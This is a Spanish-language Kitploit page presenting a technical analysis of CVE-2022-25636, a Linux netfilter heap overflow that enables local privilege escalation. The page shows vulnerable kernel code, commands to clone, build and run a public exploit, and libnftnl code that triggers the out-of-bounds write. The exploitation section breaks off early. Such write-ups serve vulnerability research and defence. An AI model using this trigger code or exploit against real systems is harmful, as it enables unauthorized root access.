Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-25636 — Análisis técnico detallado e informe de explotación para CVE-2022-25636, una vulnerabilidad de desbordamiento de montículo en netfilter del kernel de Linux que permite la escalada local de privilegios mediante rociado de montículo y uso después de liberación (UAF). | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2022-25636
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Análisis técnico detallado e informe de explotación para CVE-2022-25636, una vulnerabilidad de desbordamiento de montículo en netfilter del kernel de Linux que permite la escalada local de privilegios mediante rociado de montículo y uso después de liberación (UAF).

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
324hace 4 añosAún no revisado

CVE-2022-25636 Escalada de privilegios en netfilter del kernel

[toc]

Resumen de la vulnerabilidad

ID de vulnerabilidad: CVE-2022-25636

Producto afectado: linux kernel - netfilter

Versiones afectadas: linux kernel 5.4 ~

Impacto: el módulo del kernel netfilter contiene una escritura fuera de límites en el heap; si se dispone de SYS_ADMIN, se puede provocar una escalada de privilegios

Configuración del entorno

La vulnerabilidad se encuentra en el módulo del kernel netfilter; el código vulnerable está en 3 archivos ko.

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Iniciar directamente con qemu presenta problemas: los ko no se cargan. Se utiliza vmware para la depuración conjunta de dos máquinas.

En ubuntu 21.10 se puede reemplazar el kernel manualmente:

apt-get install linux-image-5.13.0-30-generic

Luego elimine el kernel original y compile el exploit:

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Resultado de la escalada de privilegios (tasa de éxito inferior al 50%):

image-20220318151010142

Mecanismo de la vulnerabilidad

Punto donde se produce la vulnerabilidad

La función vulnerable es nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Al escribir en flow->rule->action.entries (una estructura de longitud variable sin comprobación de límites), no se verifica el límite del heap, lo que provoca la escritura fuera de límites de un entero (4 o 5) y de un puntero.

Pila de llamadas

Esta función se utiliza en nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Se puede ver que la función nft_flow_rule_create asigna la estructura flow, según el número de estructuras rule pasadas desde el espacio de usuario, y la procesa. Usa la variable num_actions para contar, pero durante el conteo solo contabiliza las reglas que llevan el flag NFT_OFFLOAD_F_ACTION y asigna una estructura del tamaño correspondiente según esa cantidad. Sin embargo, al llamar posteriormente a offload para el procesamiento, no se usa num_actions para el bucle. En su lugar, se itera la misma cantidad de veces que el número de reglas, igual que antes, pero ya no se realiza la comprobación del flag NFT_OFFLOAD_F_ACTION. Es decir, cuando entre las reglas pasadas hay alguna que no lleva el flag NFT_OFFLOAD_F_ACTION, el número de llamadas a offload es mayor que la cantidad asignada de flow->rule->action.entries. Dentro de offload se llama a la función vulnerable nft_fwd_dup_netdev_offload; cada llamada incrementa ctx->num_actions, que se inicializa en 0, por lo que al final ctx->num_actions supera el rango del array flow->rule->action.entries, provocando la escritura fuera de límites.

Algunas estructuras:

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Pila de llamadas:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Uso de netfilter y activación de la vulnerabilidad

Enlace de referencia: https://www.openwall.com/lists/oss-security/2022/02/21/2

Ese correo explica cómo usar netfilter con las bibliotecas libmnl y libnftnl de C. El punto clave para activar la vulnerabilidad radica en si las reglas añadidas llevan el flag NFT_OFFLOAD_F_ACTION. Solo las reglas añadidas con nftnl_expr_alloc("immediate"); llevan el flag NFT_OFFLOAD_F_ACTION:

for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Explotación de la vulnerabilidad

La explotación no es muy estable, pero la técnica de explotación es muy ingeniosa. La vulnerabilidad escribe un puntero no controlable en un desplazamiento fijo fuera de límites; personalmente creo que la dificultad de explotación es muy alta. Analicemos brevemente la técnica. Según el código de la vulnerabilidad, se sabe que cada escritura fuera de límites solo puede escribir un entero (id, fijo en 4 o 5) y un puntero (*dev), donde el puntero apunta a la estructura struct net_device. Aquí solo nos centramos en la escritura del puntero dev:

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

En cuanto a la estructura struct flow_rule, al ser una estructura de longitud variable, el rango de tamaños que puede asignar determina si la explotación puede tener éxito.

Descargar herramienta